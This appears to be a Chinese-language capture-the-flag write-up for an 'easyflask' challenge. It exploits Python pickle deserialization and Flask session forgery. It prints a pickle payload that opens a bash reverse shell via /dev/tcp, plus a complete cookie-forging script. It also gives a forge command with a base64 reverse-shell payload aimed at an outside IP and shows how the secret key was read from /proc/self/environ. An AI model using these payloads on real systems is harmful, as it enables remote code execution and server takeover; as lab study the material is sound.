[HFCTF 2021 Final]easyflask
知识点:pickle反序列化,session伪造
pickle学习
import pickle
data = ['aa','bb','cc']
p = pickle.dumps(data)
print(p)
p1 = pickle.loads(p)
print(p1)
with open('D:/php/tmp.pk','wb') as f:
pickle.dump(data,f)
with open('D:/php/tmp.pk','rb') as f:
data = pickle.load(f)
print(data)
运行结果
关于pvm和jvm的解释
在查资料的时候碰到这个东西,所以学习一下:python虚拟机:pvm - shinymood - 博客园 (cnblogs.com)
JVM:java虚拟机
PVM:python虚拟机
python反序列化实例分析
Python Pickle反序列化漏洞 - FreeBuf网络安全行业门户
import pickle
import os
class Test2(object):
def __reduce__(self):
cmd = "/usr/bin/id"
return (os.system,(cmd,))
if __name__ == "__main__":
test = Test2()
result1 = pickle.dumps(test)
result2 = pickle.loads(result1)
在序列化操作的时候,不执行__reduce__ 函数;当执行反序列化操作的时候,执行__reduce__ 函数
(os.system,(cmd,)) 中的, 应该是消除歧义的
反序列化漏洞出现在 __reduce__() 魔法函数上,这一点和PHP中的__wakeup() 魔术方法类似,都是因为每当反序列化过程开始或者结束时 , 都会自动调用这类函数。而这恰好是反序列化漏洞经常出现的地方。
而且在反序列化过程中,因为编程语言需要根据反序列化字符串去解析出自己独特的语言数据结构,所以就必须要在内部把解析出来的结构去执行一下。如果在反序列化过程中出现问题,便可能直接造成RCE漏洞.
另外pickle.loads 会解决import 问题,对于未引入的module 会自动尝试import 。那么也就是说整个python标准库的代码执行、命令执行函数都可以进行使用。
官方文档中的解释
获取源码
打开容器,提示/file?file=index.js
然后放入url中,提示/app/source ,得到源码
import os
import pickle
from base64 import b64decode
from flask import Flask, request, render_template, session
app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})
@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"
@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'
with open(path, 'r') as fp:
content = fp.read()
return content
@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'
if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'
if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)
解题步骤
读取secret_key
在/file 路由下,读取/proc/self/environ
secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh
反序列化脚本
在/admin 路由下,存在python反序列化
import os
import pickle
from base64 import b64encode
User = type('User', (object,), {
'uname': 'test',
'is_admin': 1,
'__repr__': lambda o: o.uname,
'__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/ip/7777 0>&1'",))
})
u = pickle.dumps(User())
print(b64encode(u).decode())
(注意在linux的python2下运行) 结果
伪造session
这里卡了好久,看大佬的wp中用的是flask unsign ,然后我去github上下载,但是一直没通,,,
后来想到我之前做过一个session伪造的题目[HCTF 2018]Hideandseek_Sk1y的博客-CSDN博客,用的那个时候的脚本flask_session_manager.py
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
import sys
import zlib
from itsdangerous import base64_decode
import ast
if sys.version_info[0] < 3:
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:
from abc import ABCMeta, abstractmethod
else:
from abc import ABC, abstractmethod
import argparse
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4:
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else:
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
args = parser.parse_args()
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
在python3的环境下运行(windows和linux倒是无所谓,两种环境下我都成功过)
python3 flask_session_manager.py encode -s 'glzjin22948575858jfjfjufirijidjitg3uiiuuh' -t "{'u':{'b':'Y3Bvc2l4CnN5c3RlbQpwMAooUyJiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzExNi42Mi4yNDAuMTQ4Lzc3NzcgMD4mMSciCnAxCnRwMgpScDMKLg=='}}"
结果
访问/admin 路由,抓包,然后修改session,注意提前监听vps的端口,反弹shell即可得到flag
参考链接
- Python Pickle反序列化漏洞 - FreeBuf网络安全行业门户
- python虚拟机:pvm - shinymood - 博客园 (cnblogs.com)
- pickle — Python 对象序列化 — Python 3.10.2 文档
- noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder (github.com)
- [HCTF 2018]Hideandseek_Sk1y的博客-CSDN博客
|